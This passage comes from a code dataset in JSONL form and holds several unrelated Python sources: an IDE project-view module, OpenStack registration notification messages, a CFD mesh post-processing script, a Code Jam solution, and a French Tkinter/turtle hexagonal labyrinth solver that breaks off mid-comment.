self.interpreter_entry_var.get(),self.project_dir_chkvar.get(),-1)\r\n \r\n \r\nclass PythonProjectNameLocationPage(BasePythonProjectNameLocationPage):\r\n def __init__(self,master,**kwargs):\r\n BasePythonProjectNameLocationPage.__init__(self,master,**kwargs)\r\n \r\n def CreateBottomFrame(self,content_frame,**kwargs):\r\n sizer_frame = ttk.Frame(content_frame)\r\n sbox = ttk.LabelFrame(sizer_frame,text=_(\"Option\"))\r\n sbox.pack(fill=\"x\",expand=1,pady=(consts.DEFAUT_CONTRL_PAD_Y,0))\r\n sizer_frame.grid(column=0, row=4, sticky=\"nsew\")\r\n pythonpath_val = kwargs.get('pythonpath_pattern',PythonNewProjectConfiguration.PROJECT_SRC_PATH_ADD_TO_PYTHONPATH)\r\n self.pythonpath_chkvar = tk.IntVar(value=pythonpath_val)\r\n self.add_src_radiobutton = ttk.Radiobutton(\r\n sbox, text=_(\"Create %s Folder And Add it to the PYTHONPATH\") % PythonNewProjectConfiguration.DEFAULT_PROJECT_SRC_PATH, variable=self.pythonpath_chkvar,\\\r\n value=PythonNewProjectConfiguration.PROJECT_SRC_PATH_ADD_TO_PYTHONPATH\r\n )\r\n self.add_src_radiobutton.pack(fill=\"x\",padx=(consts.DEFAUT_CONTRL_PAD_X,0))\r\n \r\n self.add_project_path_radiobutton = ttk.Radiobutton(\r\n sbox, text=_(\"Add Project Directory to the PYTHONPATH\"), variable=self.pythonpath_chkvar,\\\r\n value=PythonNewProjectConfiguration.PROJECT_PATH_ADD_TO_PYTHONPATH\r\n )\r\n self.add_project_path_radiobutton.pack(fill=\"x\",padx=(consts.DEFAUT_CONTRL_PAD_X,0))\r\n \r\n self.configure_no_path_radiobutton = ttk.Radiobutton(\r\n sbox, text=_(\"Don't Configure PYTHONPATH(later manually configure it)\"), variable=self.pythonpath_chkvar,\\\r\n value=PythonNewProjectConfiguration.NONE_PATH_ADD_TO_PYTHONPATH\r\n )\r\n self.configure_no_path_radiobutton.pack(fill=\"x\",padx=(consts.DEFAUT_CONTRL_PAD_X,0),pady=(0,consts.DEFAUT_CONTRL_PAD_Y))\r\n ProjectNameLocationPage.CreateBottomFrame(self,content_frame,chk_box_row=5,**kwargs)\r\n \r\n def Finish(self):\r\n if not ProjectNameLocationPage.Finish(self):\r\n return False\r\n dirName = self.GetProjectLocation()\r\n #创建Src文件夹\r\n if self.pythonpath_chkvar.get() == PythonNewProjectConfiguration.PROJECT_SRC_PATH_ADD_TO_PYTHONPATH:\r\n project_src_path = os.path.join(dirName,PythonNewProjectConfiguration.DEFAULT_PROJECT_SRC_PATH)\r\n if not os.path.exists(project_src_path):\r\n try:\r\n dirutils.MakeDirs(project_src_path)\r\n except Exception as e:\r\n self.infotext_label_var.set(\"%s\"%str(e))\r\n return False\r\n \r\n view = GetApp().MainFrame.GetProjectView().GetView()\r\n doc = self.new_project_doc\r\n #将项目路径添加到PYTHONPATH\r\n if self._new_project_configuration.PythonpathMode == PythonNewProjectConfiguration.PROJECT_PATH_ADD_TO_PYTHONPATH:\r\n utils.profile_set(doc.GetKey() + \"/AppendProjectPath\",True)\r\n else:\r\n #不将项目路径添加到PYTHONPATH\r\n utils.profile_set(doc.GetKey() + \"/AppendProjectPath\",False)\r\n if self._new_project_configuration.PythonpathMode == PythonNewProjectConfiguration.PROJECT_SRC_PATH_ADD_TO_PYTHONPATH:\r\n doc.GetCommandProcessor().Submit(command.ProjectAddFolderCommand(view, doc, PythonNewProjectConfiguration.DEFAULT_PROJECT_SRC_PATH))\r\n src_path = os.path.join(variablesutils.FormatVariableName(variablesutils.PROJECT_DIR_VARIABLE) , PythonNewProjectConfiguration.DEFAULT_PROJECT_SRC_PATH)\r\n #将项目里面的Src文件夹路径添加到PYTHONPATH\r\n utils.profile_set(doc.GetKey() + \"/InternalPath\",[src_path])\r\n return True\r\n \r\n def GetNewPojectConfiguration(self):\r\n return PythonNewProjectConfiguration(self.name_var.get(),self.dir_entry_var.get(),\\\r\n self.interpreter_entry_var.get(),self.project_dir_chkvar.get(),self.pythonpath_chkvar.get())\r\n\r\nclass PythonProjectView(ProjectView):\r\n \r\n PACKAGE_INIT_FILE = \"__init__.py\"\r\n \r\n def __init__(self, frame):\r\n ProjectView.__init__(self,frame)\r\n \r\n def AddFolderItem(self,document,folderPath):\r\n destfolderPath = os.path.join(document.GetModel().homeDir,folderPath)\r\n packageFilePath = os.path.join(destfolderPath,self.PACKAGE_INIT_FILE)\r\n is_package = False\r\n #判断文件夹下__init__.py文件是否存在,如果存在则为包文件夹\r\n if os.path.exists(packageFilePath):\r\n is_package = True\r\n #普通文件夹\r\n if not is_package:\r\n return ProjectView.AddFolderItem(self,document,folderPath)\r\n #包文件夹\r\n return self._treeCtrl.AddPackageFolder(folderPath)\r\n \r\n\r\n def OnAddPackageFolder(self):\r\n if self.GetDocument():\r\n items = self._treeCtrl.selection()\r\n if items:\r\n item = items[0]\r\n if self._IsItemFile(item):\r\n item = self._treeCtrl.parent(item)\r\n \r\n folderDir = self._GetItemFolderPath(item)\r\n else:\r\n folderDir = \"\"\r\n \r\n if folderDir:\r\n folderDir += \"/\"\r\n folderPath = \"%sPackage\" % folderDir\r\n i = 1\r\n while self._treeCtrl.FindFolder(folderPath):\r\n i += 1\r\n folderPath = \"%sPackage%s\" % (folderDir, i)\r\n projectdir = self.GetDocument().GetModel().homeDir\r\n destpackagePath = os.path.join(projectdir,folderPath)\r\n try:\r\n os.mkdir(destpackagePath)\r\n except Exception as e:\r\n messagebox.showerror(GetApp().GetAppName(),str(e),parent= self.GetFrame())\r\n return\r\n self.GetDocument().GetCommandProcessor().Submit(command.ProjectAddPackagefolderCommand(self, self.GetDocument(), folderPath))\r\n destpackageFile = os.path.join(destpackagePath,self.PACKAGE_INIT_FILE)\r\n with open(destpackageFile,\"w\") as f:\r\n self.GetDocument().GetCommandProcessor().Submit(command.ProjectAddFilesCommand(self.GetDocument(),[destpackageFile],folderPath))\r\n item = self._treeCtrl.FindFolder(folderPath)\r\n self._treeCtrl.selection_set(item)\r\n self._treeCtrl.focus(item)\r\n self._treeCtrl.see(item)\r\n self.OnRename()\r\n \r\n def Run(self):\r\n selected_file_path = self.GetSelectedFilePath()\r\n GetApp().GetDebugger().Runfile(filetoRun = selected_file_path)\r\n \r\n def DebugRun(self):\r\n selected_file_path = self.GetSelectedFilePath()\r\n GetApp().GetDebugger().RunWithoutDebug(filetoRun = selected_file_path)\r\n\r\n def BreakintoDebugger(self):\r\n selected_file_path = self.GetSelectedFilePath()\r\n GetApp().GetDebugger().GetCurrentProject().BreakintoDebugger(filetoRun = selected_file_path)\r\n \r\n def GetSelectedFilePath(self):\r\n selected_file_path = self.GetSelectedFile()\r\n if selected_file_path is None and not fileutils.is_python_file(selected_file_path):\r\n return None\r\n return selected_file_path\r\n \r\n def AddPackageFolder(self, folderPath):\r\n self._treeCtrl.AddPackageFolder(folderPath)\r\n return True\r\n\r\n def UpdateUI(self, command_id):\r\n if command_id in [constants.ID_ADD_PACKAGE_FOLDER,]:\r\n return self.GetDocument() is not None\r\n else:\r\n return ProjectView.UpdateUI(self,command_id)\r\n \r\nclass DefaultProjectTemplateLoader(plugin.Plugin):\r\n plugin.Implements(iface.CommonPluginI)\r\n def Load(self):\r\n ProjectTemplateManager().AddProjectTemplate(\"General\",\"Empty Project\",[(PythonProjectNameLocationPage,{'is_empty_project':True}),])\r\n #导入代码时默认不创建项目目录,并且项目创建页面不能做完成操作,只能下一步和上一部操作,导入代码页面才能做完成操作\r\n ProjectTemplateManager().AddProjectTemplate(\"General\",\"New Project From Existing Code\",\\\r\n [(\"noval.python.project.viewer.PythonProjectNameLocationPage\",{'can_finish':False,\\\r\n 'pythonpath_pattern':PythonNewProjectConfiguration.PROJECT_PATH_ADD_TO_PYTHONPATH,'create_project_dir':False}),(\"noval.project.importfiles.ImportfilesPage\",{'rejects':ProjectDocument.BIN_FILE_EXTS})])\r\n\r\n","sub_path":"noval/python/project/viewer.py","file_name":"viewer.py","file_ext":"py","file_size_in_byte":13514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"373122783","text":"\nfrom django.utils.translation import ugettext as _\n\nfrom openstack_auth_shib.notifications import notify, NotificationMessage\nfrom openstack_auth_shib.notifications import FOOTER_DISCLAIMER\n\nREGISTRATION_NOT_AUTHORIZED = NotificationMessage(\n subject = \"Registration not authorized\",\n body = \"You're not authorized to access the cloud infrastructure\"\n)\n\nNO_TENANT_AUTHORIZED = NotificationMessage(\n subject = \"Tenant subscription not authorized\",\n body = \"You're not authorized to access the required tenants\"\n)\n\nclass PrjManagerMessage(NotificationMessage):\n\n def __init__(self, **kwargs):\n self.subject = _(\"Subscription request waiting for approval\")\n self.body = _('User %(username)s requires access to project %(projectname)s') % kwargs\n self.body += FOOTER_DISCLAIMER + '\\n'\n\nclass TenantNotifMessage(NotificationMessage):\n\n def __init__(self, **kwargs):\n self.subject = _(\"Tenant subscription request\")\n self.body = ''\n \n username = kwargs.get('username', None)\n if username:\n self.body += _(\"Your account has been registered\\n\")\n self.body += _(\"Your login name is %s\\n\") % username\n \n prjok_list = kwargs.get('prj_ok', [])\n if prjok_list:\n self.body += _(\"The following subscriptions have been approved\") + '\\n'\n for item in prjok_list:\n self.body += item + '\\n'\n self.body += '\\n'\n \n prjno_list = kwargs.get('prj_no', [])\n if prjno_list:\n self.body += _(\"The following subscriptions have been rejected\") + '\\n'\n for item in prjno_list:\n self.body += item + '\\n'\n self.body += '\\n'\n \n prjnew_list = kwargs.get('prj_new', [])\n if prjnew_list:\n self.body += _(\"The following projects have been created\") + '\\n'\n for item in prjnew_list:\n self.body += item + '\\n'\n self.body += '\\n'\n\n self.body += FOOTER_DISCLAIMER + '\\n'\n \n \n","sub_path":"src/registration_manager/notifications.py","file_name":"notifications.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"60540097","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 8 10:47:03 2019\r\n\r\n@author: rundaji\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef read_gri_reduced(i):\r\n fname = 'mesh\\\\bump%d.gri'%i;\r\n f = open(fname, \"r\");\r\n #read some general info\r\n nNode,nElem,Dim = [int(string) for string in f.readline().split()];\r\n node_pos = [None]*nNode;\r\n #read the position of nodes\r\n for i in range(0,nNode):\r\n x,y = [float(string) for string in f.readline().split()];\r\n node_pos[i] = [x,y];\r\n node_pos = np.asarray(node_pos);\r\n #read the number of boundary groups\r\n nBGroup = int(f.readline());\r\n #read the boundaries\r\n for i in range(0,nBGroup):\r\n nBFace,nf,Title = f.readline().split();\r\n nBFace = int(nBFace);\r\n for j in range(0,nBFace):\r\n n_0, n_1 = f.readline().split();\r\n #read cell info\r\n nElem,Order,Basis = f.readline().split();\r\n nElem = int(nElem);\r\n E = [None]*nElem;\r\n for i in range(0,nElem):\r\n v_0,v_1,v_2 = [int(string) for string in f.readline().split()];\r\n # the given index start from 1, we want the index start from 0\r\n v_0 = v_0-1;\r\n v_1 = v_1-1;\r\n v_2 = v_2-1;\r\n vertex = [v_0, v_1, v_2];\r\n # vertex, edge, tri, A, adj_cell, state, R, dt\r\n E[i] = vertex;\r\n E = np.asarray(E);\r\n mesh = {'nNode':nNode, 'nElem':nElem, 'node_pos':node_pos, 'Elems':E};\r\n f.close();\r\n return mesh;\r\n\r\n#post_processing\r\ndef plot_mach(mesh, case_no):\r\n gamma = 1.4;\r\n x = mesh['node_pos'][:,0];\r\n y = mesh['node_pos'][:,1];\r\n tri = mesh['Elems'];\r\n M = np.zeros(mesh['nElem']);\r\n f = open('data\\\\task_3_c\\\\bump%d\\\\bump%d_state_final.txt' %(case_no,case_no), \"r\");\r\n for i in range(0,mesh['nElem']):\r\n state = [float(string) for string in f.readline().split()];\r\n rho = state[0];\r\n u = state[1]/state[0];\r\n v = state[2]/state[0];\r\n E = state[3]/state[0];\r\n p = (gamma-1)*(rho*E-0.5*rho*(u**2+v**2));\r\n a = np.sqrt(gamma*p/rho);\r\n M[i] = np.sqrt(u**2+v**2)/a;\r\n f1 = plt.figure(figsize=(15,5));\r\n plt.tripcolor(x, y, tri, M, cmap=plt.cm.jet);\r\n plt.axis('equal');\r\n plt.colorbar();\r\n plt.title('Mach number, bump%d' %case_no);\r\n plt.savefig('figure\\\\bump%d_mach.pdf' %case_no, dpi=150);\r\n plt.close(f1);\r\n return 0;\r\n\r\ndef plot_history(case_no):\r\n f = open('data\\\\task_3_c\\\\bump%d\\\\bump%d_history.txt' %(case_no,case_no), \"r\");\r\n nTime_step = int(f.readline());\r\n L_inf = [None]*nTime_step;\r\n for i in range(0,nTime_step):\r\n L_inf[i] = float(f.readline());\r\n f1 = plt.figure(figsize=(8,6));\r\n plt.semilogy(L_inf,'k-');\r\n plt.xlabel('Iteration',fontsize =16);\r\n plt.ylabel('$L_{\\infty}$ error',fontsize =16);\r\n plt.grid();\r\n plt.title('Residual norm history, bump%d' %case_no);\r\n plt.savefig('figure\\\\bump%d_L_inf_error.pdf' %case_no, dpi=150);\r\n plt.close(f1);\r\n return 0;\r\n\r\ndef plot_cp(case_no):\r\n f = open('data\\\\task_3_c\\\\bump%d\\\\bump%d_cp_distribution.txt' %(case_no,case_no), \"r\");\r\n data = f.readlines();\r\n global cp;\r\n cp = [];\r\n for i in range(0,len(data)):\r\n cp.append([float(string) for string in data[i].split()]);\r\n cp = sorted(cp, key=lambda my_list: my_list[0]);\r\n cp = np.asarray(cp);\r\n x = cp[:,0];\r\n y = cp[:,1];\r\n f1 = plt.figure(figsize=(15,5));\r\n plt.plot(x,-y,'k-');\r\n plt.xlabel(\"x\",fontsize =16);\r\n plt.ylabel('Pressure coefficient $-c_p$',fontsize =16);\r\n plt.grid();\r\n plt.title('Pressure coefficient distribution, bump%d' %case_no);\r\n plt.savefig('figure\\\\bump%d_cp_distribution.pdf' %case_no, dpi=150);\r\n plt.close(f1);\r\n return 0;\r\n\r\ndef main():\r\n global mesh;\r\n for i in range(0,5):\r\n mesh = read_gri_reduced(i);\r\n plot_mach(mesh, i);\r\n plot_history(i);\r\n plot_history(i);\r\n plot_cp(i);\r\n \r\n \r\n \r\n return 0;\r\n\r\nif __name__==\"__main__\":\r\n main()","sub_path":"20190210_second_order/post_processing.py","file_name":"post_processing.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"305008242","text":"# -*- coding: utf-8 -*-\n\n\nimport sys\n\n\ndef gcd(a, b):\n return b if a % b == 0 else gcd(b, a % b)\n\ndef solve():\n b, a = map(int, input().split('/'))\n gcf = gcd(a, b)\n b, a = b // gcf, a // gcf\n ans = 0\n\n if bin(a).count('1') != 1:\n return 'impossible'\n\n for i in range(1, 41):\n if 2 ** (-i) <= b / a:\n ans = i\n break\n\n return ans if ans > 0 else 'impossible'\n\ndef main():\n T = int(input())\n for i in range(1, T + 1):\n print('Case #{}: {}'.format(i, solve()))\n\nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"solutions_5706278382862336_0/Python/changyuheng/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"407169828","text":"# Pour fonctions mathématiques (sinus, cosinus)\nimport math\n# Pour tracé graphique\nimport turtle\n# Pour calcul de temps / performances\nimport time\n# Pour nombre aléatoire\nimport random\n# Pour Interface Homme-Machine\nfrom tkinter import Tk,Canvas,Label,LabelFrame,IntVar,BooleanVar,Entry,Scale,Checkbutton,Button,Frame,StringVar,OptionMenu\nfrom tkinter.messagebox import showerror, showinfo\nfrom tkinter.colorchooser import askcolor\nfrom tkinter.filedialog import askopenfilename, asksaveasfilename\nimport tkinter.constants\n\n\n# ------------------------------------------------------------------------------\n# Constantes\n\n# Titre du TPE\nTITRE = \"Projet Labyrinthe\"\n\n# Version\nVERSION = \" v1.5\"\n\n# Texte d'aide\nAIDE = \\\n\"\"\"\nEntrer la largeur et la hauteur souhaitées du labyrinthe\npuis cliquer sur 'Créer'\n\"\"\"\n\n# Racine de 3 sur 2 = sinus(60°)\nRACINE3_2 = math.sqrt(3) / 2\n\n# Nombre de données par hexagone : 1 pour chaque mur (6) + 1 pour les calculs = 7\nNBR_HEXA = 7\n\n# Définition du mur externe\nMUR_EXT = 0\n\n# Définition du mur interne (fermé)\nMUR_INT = 1\n\n# Définition de la paroi interne (ouverte)\nOUVERTURE = 2\n\n# Définition du chemin\nCHEMIN = 3\n\n# Largeur par défaut du labyrinthe (en cellules)\nLARGEUR_DEF = 10\n\n# Hauteur par défaut du labyrinthe (en cellules)\nHAUTEUR_DEF = 10\n\n# Largeur par défaut (en pixels) de la partie du tracé du labyrinthe\nLARGEUR_FEN = 685\n\n# Hauteur par défaut (en pixels) de la partie du tracé du labyrinthe\nHAUTEUR_FEN = 685\n\n# Hauteur de la zone de menus (en pixels)\nHAUTEUR_MENU = 105\n\n# Tag de l'entrée\nTAG_ENTREE = \"Entree_tag\"\n\n# Tag de la sortie\nTAG_SORTIE = \"Sortie_tag\"\n\n# Tag du chemin\nTAG_CHEMIN = \"Chemin_tag\"\n\n# Main (quelle main sera posée sur le mur)\nMAIN = (\"Gauche\", \"Droite\")\n\n# Orientation initiale (correspond aux directions)\nORIENTATION = (\"NordEst\", \"Nord\", \"NordOuest\", \"SudOuest\", \"Sud\", \"SudEst\")\n\n# Taille minimale des cellules\nCELLULE_MIN = 15\n\n# Taille maximale des cellules\nCELLULE_MAX = 35\n\n# Taille initiale des cellules\nCELLULE_INI = 20\n\n\n# ------------------------------------------------------------------------------\n# Variables globales\n\n# Epaisseur des traits des murs (externe, interne, ouverture, chemin)\nTailleMursChemin = (3, 2, 1, 2)\n\n# Couleurs du mur en fonction du type (externe, interne, ouverture, chemin)\nCouleurMursChemin = ('black', 'blue', 'pink', 'orange')\n\n# Etat de l'initialisation de Turtle\nInitTurtle = False\n\n# Demi-largeur d'un hexagone (en pixels)\nDemiLargeurHexa = CELLULE_INI\n\n# Tableau des états des murs\nTabLaby = [[[0] * NBR_HEXA] * 1] * 1\n\n# Largeur du labyrinthe (en cellules)\nLargeur = 0\n\n# Hauteur du labyrinthe (en cellules)\nHauteur = 0\n\n# Demi largeur et hauteur totales\nDemiLargeurTotale = DemiHauteurTotale = 0\n\n# Impression de debug\nDebug = False\n\n# Utilisation de l'interface TK (sinon on utilise seulement turtle)\nTK = True\n\n# Position de l'entrée du labyrinthe (coin bas gauche au départ)\nEntree = [0, 0]\n\n# Position de la sortie du labyrinthe (coin haut droite à la création du labyrinthe)\nSortie = [0, 0]\n\n# Couleur entrée (#RRGGBB)\nCoulEntree = \"#00FF00\"\n\n# Couleur sortie (#RRGGBB)\nCoulSortie = \"#FF0000\"\n\n# Orientation de la 'turtle' : 0 = 30°, 1 = 90°, 2 = 150°, 3 = 210°, 4 = 270°, 5=330°\nHeading = 0\n\n# Nouvelle orientation testée : +1 si main droite, -1 si main gauche\n# La valeur initiale doit être cohérente avec MAIN[0]\n# Si c'est main gauche, on tourne vers la droite pour mettre la main gauche au mur\n# Si c'est main droite, on tourne vers la gauche pour mettre la main droite au mur\nSens = -1\n\n# Chemin trouvé (liste des cellules traversées)\nChemin = []\n\n# Widget canvas pour le tracé du labyrinthe sous Tk\nWcanvas = 0\n\n# Widget de base de la fenêtre\nWroot = 0\n\n# Largeurs et hauteurs de la partie graphique (canvas)\nWlargeur = Whauteur = NewLargeur = NewHauteur = 0\n\n\n# ------------------------------------------------------------------------------\n# Fonctions\n\n# Affichage des informations\ndef info() :\n print(TITRE)\n print(VERSION)\n print(\"Pour plus d'informations :\\n>>> aide()\\n\")\n return\n\n\n# Affichage du texte d'aide\ndef aide() :\n print(AIDE)\n return\n \n\n# Création interface Tk\n# a_largeur : largeur du labyrinthe\n# a_hauteur : hauteur du labyrinthe\ndef creeInterface(a_largeur = LARGEUR_FEN, a_hauteur = HAUTEUR_FEN) :\n global Wroot, Wcanvas, Wlargeur, Whauteur, ValLargeur, ValHauteur, EntreeX, EntreeY, SortieX, SortieY, NewLargeur, NewHauteur\n global CoulEntreeLbl, CoulEntreeBtn, CoulSortieLbl, CoulSortieBtn, Main, Orient, Replay, DemarrerBtn\n # Fenêtre principale\n Wroot = Tk()\n # Titre de la fenêtre\n Wroot.title(TITRE + VERSION)\n # Initialisation de la largeur et hauteur du graphique (et de la sauvegarde utilisée pour resize)\n NewLargeur = Wlargeur = a_largeur\n NewHauteur = Whauteur = a_hauteur\n # Définition de la taille de la fenêtre principale\n Wroot.geometry(str(a_largeur)+\"x\"+str(a_hauteur+HAUTEUR_MENU)+\"-10+10\")\n # Fonction appelée pour le changement de taille de la fenêtre\n Wroot.bind('', resizeWindow)\n # Fonction appelée pour le lacher du bouton souris (indique la fin du resize)\n Wroot.bind('', leaveWindow)\n # Frame des données\n dataFrame = Frame(Wroot)\n # Partie 'Labyrinthe'\n labyFrame = LabelFrame(dataFrame, text='Labyrinthe')\n # Première ligne : largeur du labyrinthe\n Label(labyFrame, text='Largeur').grid(row=0, column=0)\n ValLargeur = StringVar(Wroot)\n ValLargeur.set(LARGEUR_DEF)\n Entry(labyFrame, textvariable=ValLargeur, width=2).grid(row=0, column=1)\n # Deuxième ligne : hauteur du labyrinthe\n Label(labyFrame, text='Hauteur').grid(row=1, column=0)\n ValHauteur = StringVar(Wroot)\n ValHauteur.set(HAUTEUR_DEF)\n Entry(labyFrame, textvariable=ValHauteur, width=2).grid(row=1, column=1)\n # Troisième ligne : bouton 'Créer'\n Button(labyFrame, text='Créer', command=creerLabyCmd).grid(row=2, column=0, columnspan=1)\n taille = Scale(labyFrame, from_=CELLULE_MIN, to=CELLULE_MAX, showvalue=False, orient='h', label ='Taille hexa', command=largeurCmd)\n taille.set(CELLULE_INI)\n taille.grid(row=2, column=1)\n # Fin de la partie labyFrame\n labyFrame.grid(row=0, column=0, sticky=tkinter.N+tkinter.S)\n # Partie 'Entrée'\n entreeFrame = LabelFrame(dataFrame, text='Entrée')\n # Abscisse\n Label(entreeFrame, text=\"X\").grid(row=0, column=0)\n EntreeX = Scale(entreeFrame, to=LARGEUR_DEF-1, showvalue=False, orient='h', command=xEntreeCmd)\n EntreeX.grid(row=0, column=1)\n # Ordonnée\n Label(entreeFrame, text=\"Y\").grid(row=1, column=0)\n EntreeY = Scale(entreeFrame, to=HAUTEUR_DEF-1, showvalue=False, orient='h', command=yEntreeCmd)\n EntreeY.grid(row=1, column=1)\n # Label Couleur\n CoulEntreeLbl = Label(entreeFrame, text=\"Couleur\", bg=CoulEntree)\n CoulEntreeLbl.grid(row=2, column=0)\n # Bouton Couleur\n CoulEntreeBtn = Button(entreeFrame, text=CoulEntree, bg=CoulEntree, command=coulEntreeCmd)\n CoulEntreeBtn.grid(row=2, column=1)\n # Fin de la partie entreeFrame\n entreeFrame.grid(row=0, column=1, sticky=tkinter.N+tkinter.S)\n # Partie 'Sortie'\n sortieFrame = LabelFrame(dataFrame, text='Sortie')\n # Abscisse\n Label(sortieFrame, text=\"X\").grid(row=0, column=0)\n SortieX = Scale(sortieFrame, to=LARGEUR_DEF-1, showvalue=False, orient='h', command=xSortieCmd)\n SortieX.grid(row=0, column=1)\n # Ordonnée\n Label(sortieFrame, text=\"Y\").grid(row=1, column=0)\n SortieY = Scale(sortieFrame, to=HAUTEUR_DEF-1, showvalue=False, orient='h', command=ySortieCmd)\n SortieY.grid(row=1, column=1)\n # Label Couleur\n CoulSortieLbl = Label(sortieFrame, text=\"Couleur\", bg=CoulSortie)\n CoulSortieLbl.grid(row=2, column=0)\n # Bouton Couleur\n CoulSortieBtn = Button(sortieFrame, text=CoulSortie, bg=CoulSortie, command=coulSortieCmd)\n CoulSortieBtn.grid(row=2, column=1)\n # Fin de la partie sortieFrame\n sortieFrame.grid(row=0, column=2, sticky=tkinter.N+tkinter.S)\n # Partie 'Algo'\n algoFrame = LabelFrame(dataFrame, text='Algorithme')\n # Main\n Label(algoFrame, text='Main').grid(row=0, column=0)\n Main = StringVar(Wroot)\n Main.set(MAIN[0])\n OptionMenu(algoFrame, Main, *MAIN, command=mainCmd).grid(row=0, column=1)\n # Orientation\n Label(algoFrame, text='Orientation').grid(row=1, column=0)\n Orient = StringVar(Wroot)\n Orient.set(ORIENTATION[0])\n OptionMenu(algoFrame, Orient, *ORIENTATION, command=orientationCmd).grid(row=1, column=1)\n # Bouton 'Démarrer'\n DemarrerBtn = Button(algoFrame, text='Démarrer', command=demarrerCmd, state='disabled')\n DemarrerBtn.grid(row=2, column=0)\n # Scale 'Replay'\n Replay = Scale(algoFrame, showvalue=False, orient='h', label='Chemin', command=replayCmd)\n Replay.grid(row=2, column=1)\n # Fin de la partie algoFrame\n algoFrame.grid(row=0, column=3, sticky=tkinter.N+tkinter.S)\n # Fin de la partie dataFrame et affichage\n dataFrame.grid(row=0, column=0)\n # Fenêtre graphique (canvas)\n Wcanvas = Canvas(Wroot, background='white', width=a_largeur, height=a_hauteur)\n # Fin de la partie Wcanvas et affichage\n Wcanvas.grid(row=1, column=0)\n return\n\n\n# Modification de la taille des hexagones\n# a_val : valeur du scale\ndef largeurCmd(a_val) :\n global DemiLargeurHexa\n DemiLargeurHexa = int(a_val)\n # Recalcul et retracé du labyrinthe si il existe\n if InitTurtle :\n initCentrage()\n traceGrilleHexa()\n return\n\n\n# Fin du changement de taille de la fenêtre (ButtonRelease)\ndef leaveWindow(a_evt) :\n global Wlargeur, Whauteur, InitTurtle\n # Si la fenêtre a changé de taille\n if NewLargeur != Wlargeur or NewHauteur != Whauteur :\n # Sauvegarde de la nouvelle taille\n Wlargeur = NewLargeur\n Whauteur = NewHauteur\n # Modification du Wcanvas pour la nouvelle taille\n Wcanvas.configure(width=Wlargeur, height=Whauteur)\n if Debug : print('leaveWindow', InitTurtle, NewLargeur, NewHauteur)\n # Retracé du labyrinthe si il existe\n if InitTurtle == True :\n global turtle\n # Suppression de la variable turtle existante\n del turtle\n # On recrée le module turtle perdu par la commande précédente\n import turtle\n import importlib\n # On force le rechargement de turtle\n importlib.reload(turtle)\n # On réinitialise turtle\n InitTurtle = False\n initTurtle()\n # On retrace la grille\n traceGrilleHexa()\n return\n\n\n# Gestion du changement de taille de la fenêtre\n# a_evt : événement déclencheur\ndef resizeWindow(a_evt) :\n global NewLargeur, NewHauteur\n # On sauve les valeurs des événements resize de l'utilisateur (générés par Wroot)\n if a_evt.widget == Wroot and InitTurtle :\n if a_evt.width != Wlargeur or a_evt.height != Whauteur + HAUTEUR_MENU :\n if Debug : print(a_evt.width, a_evt.height)\n NewLargeur = a_evt.width\n NewHauteur = a_evt.height - HAUTEUR_MENU\n return\n\n\n# Replay de l'algorithme de sortie du labyrinthe\n# a_val : valeur du scale\ndef replayCmd(a_val):\n if len(Chemin) > 0 :\n # Récupération de la valeur du scale (de 0 à nombre de cellules - 1 traversées)\n pos = int(a_val)\n # Affichage d'un symbole (la valeur du scale) sur le centre de la cellule (en noir, plus visible)\n traceSymbole(Chemin[pos][0], Chemin[pos][1], TAG_CHEMIN, 'black', str(pos+1))\n return\n\n\n# Lancement de l'algorithme de sortie du labyrinthe (bouton 'Démarrer')\ndef demarrerCmd():\n global Heading\n # On retrace le labyrinthe (pour effacer les chemins turtle précédents si il y en a)\n traceGrilleHexa()\n # On trace !\n turtle.pendown()\n # Couleur du chemin\n turtle.pencolor(CouleurMursChemin[3])\n # Epaisseur du chemin\n turtle.pensize(TailleMursChemin[3])\n # Position de départ (attention pos = Entree ne marche pas)\n pos = [Entree[0], Entree[1]]\n # Nombre de cellules visitées\n cellules = 1\n # Mise à zéro du chemin\n Chemin.clear()\n # Première cellule\n Chemin.append((Entree[0], Entree[1]))\n # Si on a Tk\n if TK :\n # Direction initiale\n Heading = ORIENTATION.index(Orient.get())\n # On efface le symbole du chemin\n Wcanvas.delete(TAG_CHEMIN)\n # Tant qu'on a pas trouvé la sortie on avance en suivant le mur\n while pos != Sortie :\n # On change l'orientation dans le sens de 'Main' jusqu'au mur libre\n for i in range(6) :\n # Si on ne peut pas avancer on change de direction\n if TabLaby[pos[0]][pos[1]][Heading] != OUVERTURE :\n # Nouvelle orientation\n Heading = (Heading + Sens) % 6\n # Visualisation de l'orientation\n orientation()\n # On peut avancer dans cette direction\n else :\n # On avance dans la cellule suivante\n cellules += avance(pos)\n # Nouvelle orientation\n # Main gauche sur le mur : 0 => 2, 1 => 3, 2 => 4, 3 => 5, 4 => 0, 5 => 1\n # Main droite sur le mur : 0 => 4, 1 => 5, 2 => 0, 3 => 1, 4 => 2, 5 => 3\n Heading = (Heading + Sens + 3) % 6\n # On a trouvé un mur libre, on ne continue pas à chercher\n break\n # On a trouvé la sortie\n print('Nombre de cellules visitées :', cellules)\n # Si on a Tk\n if TK :\n # Le scale du replay doit aller de 0 à cellules - 1\n Replay.configure(to=cellules-1)\n # Le replay est positionné à la sortie\n Replay.set(cellules-1)\n return\n\n\n# Changement du choix de la main collée au mur (gauche => -1, droite => +1)\ndef mainCmd(a_val):\n global Sens\n # Sur main gauche collée au mur, Sens = -1 (on tourne vers la droite, sens montre)\n if a_val == MAIN[0] :\n Sens = -1\n # Sur main droite collée au mur, Sens = +1 (on tourne vers la gauche, sens trigo)\n else :\n Sens = 1\n return\n\n\n# Changement du choix d'orientation de départ\ndef orientationCmd(a_val):\n global Heading\n # L'index 0 correspond à 30 degrés, le 5 à 330 °\n Heading = ORIENTATION.index(a_val)\n # Positionne la turtle en fonction de l'orientation\n orientation()\n return\n\n\n# Changement de la position en 